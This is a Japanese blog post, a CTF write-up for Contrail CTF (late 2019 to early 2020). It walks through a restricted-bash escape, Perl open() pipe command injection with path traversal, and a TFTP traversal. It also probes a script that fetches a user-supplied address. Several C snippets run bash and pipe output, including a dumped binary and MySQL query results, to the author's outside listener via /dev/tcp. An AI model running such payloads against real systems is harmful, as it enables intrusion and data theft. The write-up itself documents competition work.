Contrail CTF WriteUp

2019/12/31 ~ 2020/01/04までContrail CTFが開催されていました。
個人チームで参戦して15位取ったのでかけるものを書く。

Discord [misc 1]

discordに入れたら勝ち。

Lets_Connct [misc 100]

nc 114.177.250.4 2999

つなぐとbashが出てくる。
が、かなり機能が制限されている、というか/binにlsしかない。

bash-4.4$ ls -l /
ls -l /
total 1112
-rwxr-x--- 1 0 1000 1113504 Dec 30 04:53 bash
drwxr-x--- 1 0 1000    4096 Dec 30 08:53 bin
drwxr-x--- 1 0 1000    4096 Dec 30 04:54 dev
-rwxr----- 1 0 1000      44 Jan  3 11:59 flag
drwxr-x--- 1 0 1000    4096 Dec 30 04:54 lib
drwxr-x--- 1 0 1000    4096 Dec 30 04:54 lib32
drwxr-x--- 1 0 1000    4096 Dec 30 04:54 lib64

したがって縛り状態で/flagを出すことになる。
bashにはbuiltinでreadがあるので、これでなんとかできる。

bash-4.4$ read line </flag
read line </flag
bash-4.4$ echo $line
echo $line
Flag has moved to 3000 port on 172.17.0.5 .
bash-4.4$ read line </dev/tcp/172.17.0.5/3000
read line </dev/tcp/172.17.0.5/3000
bash-4.4$ echo $line
echo $line
ctrctf{b4sh_1s_a_mul7ifuncti0n_sh3ll}

LegacyBlog [web 100]

I found old mini blog in hdd.
http://114.177.250.4:9999/cgi-bin/viewer.pl

perl製のblogが見える。
/cgi-bin/viewer.pl?text=viewer.pl にアクセスしたらソースが落ちてきた。

どうやらfolderクエリでディレクトリトラバーサルができるようなのですると、/flagがあることがわかる。

sub view_single_text{
    my $newline;
    open (READDATA, "$dir$FORM{'dir'}/$FORM{'folder'}/$FORM{'text'}");
    while (<READDATA>)
    {
        $newline = $newline . "<p>" . $_ . "</p>";
    }
    print $newline;
    close READDATA;
}

ただし /cgi-bin/viewer.pl?folder=../../../..&text=flag につないでも何も見えない。
そこで、perlのopenの特性を利用する。

perlのopenのファイル名の末尾に "|" をつけると実行ファイルの実行結果を読み込んでくれるようになる。
ls -l をみるために /cgi-bin/viewer.pl?folder=../../../../bin/ls%20-l%20&text=| にアクセスする。

---x--x--x 1 root root 8296 Dec 28 14:42 flag

/flag はexecutableである。
あとは /cgi-bin/viewer.pl?folder=../../../../flag%20&text=| にアクセスして終わり。

ctrctf{Th1s_1s_01d_cg1_exp101t}

NoWallForUs [web 500]

firstbloodとれてうれしかった

This is saikyou programmer contest.
http://114.177.250.4:1234/
code: https://drive.google.com/file/d/1EHUY2UDK8BGbs-TaSrXs7un1m4Suz7bW/view?usp=sharing

竸プロチックなwebサーバが舞台。
試しにシェルを動かしてみる。(IPアドレスはnc -lで待ち受けてngrok.ioに噛ませているもの)

#include <unistd.h>
int main()
{
        execl("/bin/bash", "/bin/bash", "-c", "echo hello &>/dev/tcp/18.188.14.65/10128", NULL);
        return -1;
}

ちゃんと(?)helloがきた。
あとは環境とかいろいろ調べてみていた。(というかdocker-compose?のNAPT周りがよくわかんなかったのでヒントとソースと勘でなんとかした)

まずはmysqlのパスワードを取らなきゃいけないのだが、提出コードを管理しているtftpサーバのコードが気になる。

func readHandler(filename string, rf io.ReaderFrom) error {
	go func() {
		file, err := os.Open("./fileserver" + filename)
		defer file.Close()
		if err != nil {
			fmt.Fprintf(os.Stderr, "%v\n", err)
		}
		n, err := rf.ReadFrom(file)
		if err != nil {
			fmt.Fprintf(os.Stderr, "%v\n", err)
		}
		fmt.Printf("%d bytes sent\n", n)
	}()
	return nil
}

ディレクトリトラバーサルが実行できそうである。
そしてbackendは全て同じホストで動いていること、実行時にソースがなくなっていることから、ftpサーバからapiのバイナリを拾って強引に吐かせることによってmysqlのpass取得を目指す。

#include <unistd.h>
int main()
{
        execl("/bin/bash", "/bin/bash", "-c", "(apt install atftp -y && echo get /../api | atftp 172.17.0.1 4444 && cat api) &>/dev/tcp/18.188.14.65/10128", NULL);
        return -1;
}
cat output | grep -a nowall

パスワード jaldsfk ゲット。

続いてmysqlに繋いでflag獲得

#include <unistd.h>
int main()
{
        execl("/bin/bash", "/bin/bash", "-c", "(apt update && apt install mysql-client -y && echo \"select * from flag;\" | mysql -h 172.17.0.1 -P 3306 -u nowall -pjaldsfk -D nowall) &>/dev/tcp/3.17.202.129/10993", NULL);
        return -1;
}
ctrctf{Y0u_4r3_ult1m4t3_h4ck3r}

debug_port [network 100]

A suspicious script has been executed. https://www.dropbox.com/s/zw76f3qm2k0x3g1/network_debug_port.pcapng?dl=0

pcapをwiresharkで眺めてたらTCP stream追えば良さそうだと思って追ったら怪しいbase64が出てきたのでデコードした

未完:HackingBattler [misc 500]

Talk with the Black Hat Hacker.
note: this is joke program.

nc 114.177.250.4 5555
$ nc 114.177.250.4 5555
input pd9foLIOFj
pd9foLIOFj
Input your golbal ip
127.0.0.1
I am reading your WebPage
That is cool. Can I read more information ?
Your ip is 127.0.0.1
I'm h4cking Y0u...
traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 60 byte packets
 1  localhost (127.0.0.1)  0.170 ms  0.156 ms  0.148 ms

Starting Nmap 7.60 ( https://nmap.org ) at 2020-01-03 15:48 UTC
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.03 seconds
Ok. Fu*king your Computer.
ATTACK.

試しに自身をhackさせてみた。
どうやらwebページを読んでtracerouteしてnmapをしている(nmapはしていない)ようだ。
ちなみにこれを実行した後ターミナルの表示がバグるが、echo $'\x1b\x28\x31' で治る。(勘で治したので理屈は知らん)

続いて自ホスト向けに飛ばさせてパケットを見ると、wgetで/index.htmlに、curlで/test.php?cmd=shutdownにアクセスしていることがわかる。(ftpにもアクセスきていることを見逃していた)

試したこと

  • wgetはリダイレクトに従うので、302でftpに飛ばさせてみる
  • 127.0.0.1じゃなくてグローバルIPを入れる(調べたらルータのwebページが出てしまった)
  • IP入力欄に”http://適当なwebサイト/?”を入れて?以降を無視させることで任意のwebに飛ばす
  • IP入力欄に”file:///適当なファイル?”を入れて(略)
  • gopherスキームを使って適当なペイロードをルータに送りつける(ダメ)
  • 自動化し始める
#!/bin/bash

exec 3<>/dev/tcp/114.177.250.4/5555
read -a line <&3
echo ${line[1]} >&3
read <&3

echo "file://$1?" >&3
#echo "$1?" >&3
cat <&3

exec 3<&-
echo $'\x1b\x28\x31'
  • IP入力欄に”file:///root/.viminfo?”を入れると/hacker.shを編集していたことがわかる
  • IP入力欄に”file:///hacker.sh?”を入れてソースを手に入れる
#!/bin/bash
token=`cat /dev/urandom | base64 | fold -w 10 | head -n 1`
echo "input $token"
read input
echo 'Input your golbal ip'
read ip
echo 'I am reading your WebPage';
timeout 3 wget "http://$ip/index.html" -O tmp/$input
cat tmp/$input
echo 'That is cool. Can I read more information ? ';
if [ $input = $token ] ; then
        echo "Your ip is $ip"
        echo "I'm h4cking Y0u..."
        traceroute "$ip"
        nmap "-Pn $ip -p 20-500 2>&1"
        timeout 3 curl "$ip/test.php?cmd=shutdown"
        timeout 3 curl "ftp://$ip/Hackyou/boom/ --ftp-create-dirs"
        echo "Ok. Fu*king your Computer."
        echo -en '\e(0'
        echo "ATTACK."
        echo -en '\e(0'
fi

ここで時間切れ。

まとめ

今年こそpwnやるんだから

カテゴリー CTF

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です